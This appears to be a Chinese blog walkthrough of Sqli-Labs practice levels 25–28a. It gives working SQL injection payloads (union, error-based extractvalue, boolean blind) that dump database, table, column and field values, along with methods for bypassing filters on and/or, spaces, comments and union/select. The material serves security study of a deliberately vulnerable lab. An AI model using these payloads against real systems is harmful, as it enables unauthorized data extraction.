基于Sqli-Labs靶场的SQL注入-25~28关

目录

Less25-and和or被过滤的绕过

绕过and和or的常用方法

爆破数据库名

爆破表名

爆破列名

爆破字段值

Less25a-and和or被过滤的绕过

Less26-空格和注释符被过滤的绕过

绕过空格和注释符的常用方法

爆破数据库名

爆破表名

爆破列名 

爆破字段值

26关代码审计

Less26a-空格和注释符被过滤的绕过

猜解数据库名

猜解表名

猜解列名

猜解字段值

Less27-union和select被过滤的绕过

爆破数据库名

绕过 union 和 select 的主要方法

爆破表名

爆破列名

爆破字段值

27关代码审计

Less27a-union和select被过滤的绕过

爆破数据库名

爆破表名

爆破列名

爆破字段值

Less28-union和select被过滤的绕过

爆破数据库名

爆破表名

爆破列名

爆破字段值

Less28a-union和select被过滤的绕过

总结



Less25-and和or被过滤的绕过


        首先我们进入25关:     

        从页面上也能看出这一关和 andor 有关。再结合下方的话大致可以推测这一关是过滤掉了 andor 。 

        我们首先输入 \ 测试注入点是什么:

        可以看到 \ 后面是单引号,那说明注入点就是单引号,这种方法很快捷,大家也可以使用 。就是直接在我们输入的参数后面加一个 \

        知道注入点后我们测试一下数据库的列数,输入语句:

?id=1' order by 3 --+

        页面回显:

        页面提示:您的输入被过滤。明显可以看到 or 被过滤了。接下来我介绍几个 and 和 or 被过滤的时候常用的绕过方法。

绕过and和or的常用方法


        1、大小写变形:将原本的 orand 替换为:Or、oR、And、AND、aND、aNd等等。

        2、转换编码输入:将 orand 使用hex,urlencode等编码方式进行转换后在输入。

        3、添加注释:例如:/*or*/

        4、双写绕过:例如:oorr,aandnd 等。

        5、可以使用%26%26代替and。%26 代表字符 '&' 。有时候&&不能用但是可以使用%26%26反正就这两个轮换着试验,哪个可行用哪个。

        6、利用符号:and替换为&&、or替换为||

爆破数据库名


        我这里使用双写绕过,当然其他绕过方法也可以,大家可以尝试。

        输入语句测试列数:

?id=1' oorrder by 4 --+

        页面回显:

        说明列数小于4,再次输入语句:

?id=1' oorrder by 3 --+

         页面回显:

        页面回显正常,说明列数为3,接下来测试显示位。

        输入语句:

?id=0' union select 1,2,3 --+

        页面回显:          可以看到页面的显示位是2和3。

        输入语句:

?id=0' union select 1,database(),3 --+

        页面回显:

        可以看到成功爆破了数据库名字。

爆破表名


        输入语句:

?id=0' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='security' --+

        页面回显:
         可以看到成功爆破了表名,这里一定要注意它过滤 or 的时候是所有的 or 都被过滤了,包括在单词中的 or 例如 information_schema.tables 中的 or 也被过滤了,这里一定要注意绕过,不然就报错了。

爆破列名


        输入语句:

?id=0' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='emails' --+

        页面回显:

        可以看到成功爆破了表 emails 的列名。

爆破字段值


        输入语句:

?id=0' union select 1,group_concat(id,email_id),3 from emails --+

        页面回显:

        可以看到成功爆破了字段值。

        这里我代码审计一下看一下过滤语句:

        可以看到使用 prep_replace()函数 进行了替换,将 orand 替换成空。 

        到这里25关就结束了。

Less25a-and和or被过滤的绕过


         这一关和25关一样,只是没有闭合符号,也就是之前讲的整型注入,直接写语句就可以。

Less26-空格和注释符被过滤的绕过


        首先进入26关:

        根据页面显示大概是空格和注释符被过滤了。那我们就不能使用空格和注释符了,需要使用其他去替换。

        首先输入语句测试注入点是什么:

?id=1'

        这里因为注释符被过滤了只能使用单引号测试。

        页面回显:

        页面报错了,大概率是单引号了。

绕过空格和注释符的常用方法


        绕过注释符方法:使用 or '1'='1 或者 and '1'='1 替换,这里理解一下注释符号的作用就可以,我们只要把后面的符号想办法闭合就可以,单引号可以随时替换,主要是根据sql语句的闭合方式决定使用什么符号闭合。

        绕过空格方法:

        1、/**/(注释绕过)
        2、%09 Tab键(水平)
        3、%0a 新建一行
        4、%0c 新的一页
        5、%0d return 键
        6、%0b Tab键(垂直)
        7、%a0 空格
        8、() 绕过,主要通过括号去将某些语句独立起来,这样就不需要空格了。


        以上都可以用来绕过。一般过滤了空格之后,联合注入以及双查询注入等就不推荐使用了(Windows系统的前提,如果是LINUX系统直接使用等价字符绕过空格就可以),最好使用报错注入中的 extractvalue()函数 以及 updatexml()函数 进行报错注入。

爆破数据库名


        输入语句:

?id=1'%26%26extractvalue(1,concat(0x7e,database()))%26%26'1'='1

        页面回显:

        可以看到成功爆破了数据库名字。

        因为在URL编码中 && 具有特殊含义,所以我们要将其转换为 %26%26 代替 and

        其实这里也可以使用 Union 联合注入的,但是我使用的Edge浏览器空格过滤老是绕不过去,输入 %a0 的话页面会显示这样:

        直接转换为无效字符了,看了很多篇博客都说是因为Apache解析的问题Windows无法使用 %a0,但是Linux系统没有这个问题可以使用 %a0 绕过,其余绕过的方法我也都尝试了,都不行。

爆破表名


        输入语句:

?id=1'%26%26extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))))||'1'='1

        这里唯一要注意的就是括号太多别写错了。

        页面回显:

        可以看到成功爆破了表名,因为报错注入最多显示32位,只要不超出去就可以。

爆破列名 


        输入语句:

?id=1'%26%26extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='emails'))))||'1'='1

        页面回显:

        可以看到成功爆破了表 emails 的列名。

爆破字段值


        输入语句:

?id=1'%26%26extractvalue(1,concat(0x7e,(select(group_concat(id))from(emails))))||'1'='1

        页面回显: 

        可以看到成功爆破了表 emailsid 列的字段值。 

26关代码审计


        我们查看一下源代码:

        可以看到这就是过滤代码,使用prep_replace()函数进行查找替换。 

        到这里第26关就结束了。

Less26a-空格和注释符被过滤的绕过


        首先进入这一关:

        发现和26关差不多,我们先尝试寻找注入点是什么,输入语句:

?id=1'

        页面回显:

        发现页面没有出现SQL语法报错,那这关就不能使用报错注入了,因为没有报错回显。只能考虑联合注入和盲注,这里我使用布尔盲注。     

        接下来我们输入语句:

?id=2'%26%26'1'='1

        这条语句也是测试注入点的。页面回显:

        可以看到页面回显的依旧是查询用户id为1的数据,说明注入点就不是单引号,这里我讲一下原理,我们假设注入点是单引号,那么我们上面的注入语句被带入到后台中真正执行的语句应该是:

$sql="SELECT * FROM users WHERE id='2' and '1'='1' LIMIT 0,1";

        那么页面回显的数据就应该是id=2的用户的数据。很显然注入点不是单引号,但是输入单引号页面会回显错误,说明肯定是单引号不匹配了,也就是说注入点中必定包含单引号。根据经验可得注入点无非就是 ')、')) 这种类型的,最多也就是多套几个括号。

        再次输入语句测试:

?id=2')%26%26('1')=('1

        页面回显:

        可以看到页面回显了id=2用户的信息,说明注入点就是 ') 。 

        因为这一关中没有报错回显,但是有正常显示的页面和不正常显示页面两种显示情况,所以我这里使用布尔盲注。

        

猜解数据库名


        输入语句猜解数据库名字长度:

?id=1')%26%26length(database())>8%26%26('1')=('1

        页面回显: 

        页面非正常回显,说明长度小于8,接着输入语句:

?id=1')%26%26length(database())>7%26%26('1')=('1

        页面回显:

        页面正常回显,说明数据库名字长度就是8。

        接着猜解数据库具体名字,输入语句:

?id=1')%26%26left(database(),1)>'z'%26%26('1')=('1

        页面回显:  

        页面非正常回显,说明数据库名字的第一个字母的ASCII码值小于字母 'z' 的ASCII码值。

        接着输入语句:

?id=1')%26%26left(database(),1)>'a'%26%26('1')=('1

        页面回显:
         可以看到页面正常回显,说明数据库名字的第一个字母的ASCII码值大于字母 'a' 的ASCII码值,按照这个方法就可以猜解到数据库名字的第一个字母,其余字母猜解方法一样,这里不在赘述。大家可以使用二分法猜测,这样速度会快一些,也可以使用Python爬虫去自动猜测。

猜解表名


        输入语句猜测总共有几张表:

?id=1')%26%26(select(count(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))>3%26%26('1')=('1

        页面回显:

        页面正常回显,说明表数大于3,接着输入语句测试:

?id=1')%26%26(select(count(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))>4%26%26('1')=('1

        页面回显:

        可以看到页面非正常回显。所以判断一共应该有四张表

        接下来去判断表的名字,输入语句:

?id=1')%26%26left((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),1)>'a'%26%26('1')=('1

        一般来说我们都是使用 limit 语句去一张表一张表的猜测,但是这里将空格过滤了无法使用 limit 语句去限制,只能是先判断有几张表,然后将所有表名都组在一起一次性猜测。也就是将四张表的表名连在一起,然后一个字母一个字母的猜测表名。再加上之前判断的一共四张表,联合我们的经验,去把猜测出来的字母分成四个表名。

        页面回显:

        可以看到页面正常回显,说明由四张表连成的名字的第一个字母的ASCII码值大于字母 'a' 的ASCII码值。

        接着输入语句继续测试:

?id=1')%26%26left((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),1)>'f'%26%26('1')=('1

        页面回显:
         页面非正常回显,说明由四张表连成的名字的第一个字母的ASCII码值小于字母 'f' 的ASCII码值。通过这种方法最终就能猜解到四张表的表名,这里不在赘述。

猜解列名


        输入语句猜测第一张表总共有多少列:

?id=1')%26%26(select(count(column_name))from(infoorrmation_schema.columns)where(table_name='emails'))>2%26%26('1')=('1

        页面回显:

        页面非正常回显,说明列数小于2,接着输入语句测试:

?id=1')%26%26(select(count(column_name))from(infoorrmation_schema.columns)where(table_name='emails'))>1%26%26('1')=('1

        页面回显:

        可以看到页面正常回显,说明列数为2。

        接下来我们猜解具体列名。

        输入语句:

?id=1')%26%26left((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='emails')),1)>'a'%26%26('1')=('1

        页面回显:
         可以看到页面正常回显,说明由两列组成的名字的第一个字母的ASCII码值小于字母 'a' 的ASCII码值。

        接着输入语句测试:

?id=1')%26%26left((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='emails')),1)>'z'%26%26('1')=('1

        页面回显:

        可以看到页面非正常回显,说明由两列组成的名字的第一个字母的ASCII码值小于字母 'z' 的ASCII码值。经过这样不断猜测最终可以得到列名。这里不在赘述。

猜解字段值


        输入语句猜测总共有多少个字段:

?id=1')%26%26(select(count(id))from(emails))>7%26%26('1')=('1

        页面回显:

        可以看到页面正常回显,说明字段数大于7,接着输入语句测试:

?id=1')%26%26(select(count(id))from(emails))>8%26%26('1')=('1

        页面回显:

        可以看到页面非正常回显,说明字段数就是7。

        接下来输入语句测试每一个字段的值:

?id=1')%26%26ascii((select(group_concat(id,email_id))from(emails)))>1%26%26('1')=('1

        页面回显:

        页面正常回显,说明由两列所有字段组成的数据段的第一个字段值的ASCII码值大于1。

        接着输入语句测试:

?id=1')%26%26ascii((select(group_concat(id,email_id))from(emails)))>50%26%26('1')=('1

        页面回显:

        页面非正常回显,说明由两列所有字段组成的数据段的第一个字段值的ASCII码值小于50。通过这样的方法最终可以得到字段值对应的ASCII码值,最后转换一下即可。这里不在赘述。

        到这里26a关就结束了。

Less27-union和select被过滤的绕过


        进入27关:

        通过页面可得这一关应该主要是过滤了 unionselect 。

        首先输入语句测试注入点:

?id=1\

        页面回显:

        通过页面的报错信息可得注入点为单引号。同时发现这一关中存在报错回显,那么就可以使用报错注入。我这里就使用报错注入。

爆破数据库名


        输入语句:

?id=1'%26%26extractvalue(1,concat(0x7e,database()))||'1'='1

        页面回显:

        可以发现成功爆破数据库名。

绕过 union 和 select 的主要方法


        (1):使用注释符绕过:
        //、--、--+、#、/**/、-、;、%00、--空格
        具体用法,例如过滤了 select 的绕过:se/**/lect,可以一位一位的试验,有的后台检测前两个字符是否匹配,有的前三个,注释符要插入在不同的位置去检验,我们最终要实现的就是让后台检测不出这是select,只要后台检测的字符数之内不匹配就可以绕过了,当然现在这只是我的猜想,有可能后台也是根据不匹配字数总和来判断的,例如不匹配指数到达某个值以上就判断该字符串不匹配了。
        (2):使用大小写绕过
        例如:SElect,这个绕过方法主要就是大小写混着用,从而骗过后台检测,预防方法就是后台无视大小写就可以了。
        (3):双写绕过
        例如:SELSELECTECT,双写的时候一般是对半分,如果不能对半分的话前面比后面多一个字符就可以,例如 union 双写为 UNIUNIONON
        (4):换编码绕过
        使用不同的编码方式去表示这些字符,例如转换为URL编码输入,ASCII编码、unicode编码等。
        (5):内联注释绕过
        内联注释就是把一些特有的只有在Mysql上的语句放入到/*!...*/中,这些语句在其他数据库中是不会执行的,但是在Mysql中可以执行。
        (6):写两次union和select
        有些时候会过滤单一的union+空格(包括可替代空格的特殊字符)+select,但是又没过滤单独存在的union,select可以构造union%0dunion%0dselectselect%0d1,2,3这样的语句进行尝试。

爆破表名 


        输入语句:

?id=1'%26%26extractvalue(1,concat(0x7e,(SELect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))))||'1'='1

        这里我使用大小写绕过的方法绕过select,页面回显:

        可以看到成功爆破了表名。

爆破列名


        输入语句:

?id=1'%26%26extractvalue(1,concat(0x7e,(SELect(group_concat(column_name))from(information_schema.columns)where(table_name='emails'))))||'1'='1

        页面回显:         可以看到成功爆破了表 emails 的列名。       

爆破字段值


        输入语句:

?id=1'%26%26extractvalue(1,concat(0x7e,(SELect(group_concat(id))from(emails))))||'1'='1

        页面回显:

         可以看到成功爆破了表 emailsid 列的字段值。

27关代码审计


        我们查看一下第27关的过滤情况:

        可以看到过滤情况。

        到此27关就结束了。当然大家也可以采取联合注入的方式通过,我这里采用了报错注入。 

Less27a-union和select被过滤的绕过


         首先进入27a关:

        可以看到和27关类似,接下来我们测试注入点:

?id=1'

        页面回显:

        可以看到页面没有报错,那么说明注入点一定不是单引号并且注入点中一定不包含单引号,接着我们输入语句测试:

?id=1"

        页面回显:

         可以发现页面回显报错但是并没有具体的语法错误回显,说明这一关没有语法报错回显,也就不能使用报错注入。只能尝试联合注入或者盲注。

        这里我再进一步确认一下注入点,输入语句:

?id=2"and"1"="1

        页面回显:

        可以看到回显了 id=2 的用户的信息,说明注入点就是双引号。这种测试方法在前面讲过,不知道原理的小伙伴可以看一下前面的讲解。

        接下来我测试一下数据库有多少列:

?id=0"UNIon%0aSELect%0a1,2,3||"1"="1

        页面回显: 

        可以看到数据库有三列,而且页面还回显出了显示位。那么就可以使用联合注入了。

爆破数据库名


        输入语句:

?id=0"UNIon%0aSELect%0a1,database(),3||"1"="1

        页面回显:

        可以看到成功爆破了数据库名字。

爆破表名


        输入语句:

?id=0"UNIon%0aSELect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'and"1"="1

        页面回显: 

        可以看到成功爆破出了表名。

爆破列名


        输入语句:

?id=0"UNIon%0aSELect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_name='emails'and"1"="1

        页面回显:

        可以看到成功爆破了表 emails 的列名。 

爆破字段值


        输入语句:

?id=0"UNIon%0aSELect%0a1,group_concat(id,email_id),3%0afrom%0aemails%0awhere%0a1=1%0aand"1"="1

        这里要注意 and 前后对象要一致的问题。

        页面回显: 

        可以看到成功爆破了表 emails 的字段值。 

        至此第27a关就结束了。

Less28-union和select被过滤的绕过


        进入28关:

        可以看到页面显示和27关类似,盲猜应该只是过滤方式不同,输入语句测试注入点:

?id=1'

        页面回显:

        可以看到页面虽然报错但是并没有回显语法错误,说明这一关不能使用报错回显。

        接着我们输入语句进一步确定注入点:

?id=2'and'1'='1

        页面回显:

        可以看到页面并没有回显 id=2 的用户的信息,说明注入点不是单引号,我们尝试加一个单括号试一试:

?id=2')and('1')=('1

        页面回显:

        可以看到页面回显了 id=2 的用户的信息,说明注入点是 ') 。

        接下来我们测试一下数据库列数和显示位:

?id=0')%0aUNIon%0aSELect%0a1,2,3||('1')=('1

        页面回显:

        可以看到页面把我们输入的 union 和 select 过滤了,说明大小写绕过失败了,后台应该是开启了无视大小写的相关设定。我们采用其他方法绕过,我这里在尝试一下双写绕过:

?id=0')uniunionon%0aselselectect%0a1,2,3||('1')=('1

        页面回显:

        可以看到双写绕过也失败了,我这里在尝试一下以下这种方法:

?id=0')union%0aunion%0aselectselect%0a1,2,3||('1')=('1

        页面回显:

        可以看到成功绕过了。这种方法就是写两次 union 和 select 。这里过滤的应该是 select+空格+select 这样的,只要和这个语句匹配就过滤了。

        这里我分析以下源码:

        可以看到语句:$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.

        在正则匹配中:\s表示空格、+表示匹配一次或者匹配多次、/i表示不区分大小写,这句话的意思就是匹配 union+空格+select 这种类型的,而且不区分大小写,只要匹配上的就都过滤了。这里也过滤了空格,所以不能通过加两个空格等方式绕过,因为加的空格会被过滤。

        我这里采用 union%0aunion%0aselectselect%0a1,2,3 这样的语句格式来绕过。通过等价字符%0a绕过空格。

        

爆破数据库名


        输入语句:

?id=0')union%0aunion%0aselectselect%0a1,database(),3%0a||('1')=('1

        页面回显:

        可以看到成功爆破了数据库名字。

爆破表名


        输入语句:

?id=0')union%0aunion%0aselectselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'and('1')=('1

        页面回显:

        可以看到成功爆破了表名。

爆破列名


        输入语句:

?id=0')union%0aunion%0aselectselect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_name='emails'and('1')=('1

        页面回显:

        可以看到成功爆破了表 emails 的列名。

爆破字段值


        输入语句:

?id=0')union%0aunion%0aselectselect%0a1,group_concat(id,email_id),3%0afrom%0aemails%0awhere%0a1=1%0aand('1')=('1

        页面回显:

        可以看到成功爆破了表 emails 的字段值。 

        到此,28关就结束了。

Less28a-union和select被过滤的绕过


       这一关注入点是 ') ,完全和28关一摸一样,连注入点都一样,可能就是过滤方式不一样吧我猜测,用28关的方法就可以通过这一关了,连注入点都不用改,语句也不用改,这一关对于 union 和 select 的过滤方式和28关一样。绕过后台匹配规则就可以。这里就不赘述了。

总结


        这一篇博客我主要讲了各种语句被注释后的绕过方法,包括 and 和 or 的绕过、空格和注释符的绕过、union 和 select 的绕过。

  • 3
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Alan_Mikasan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值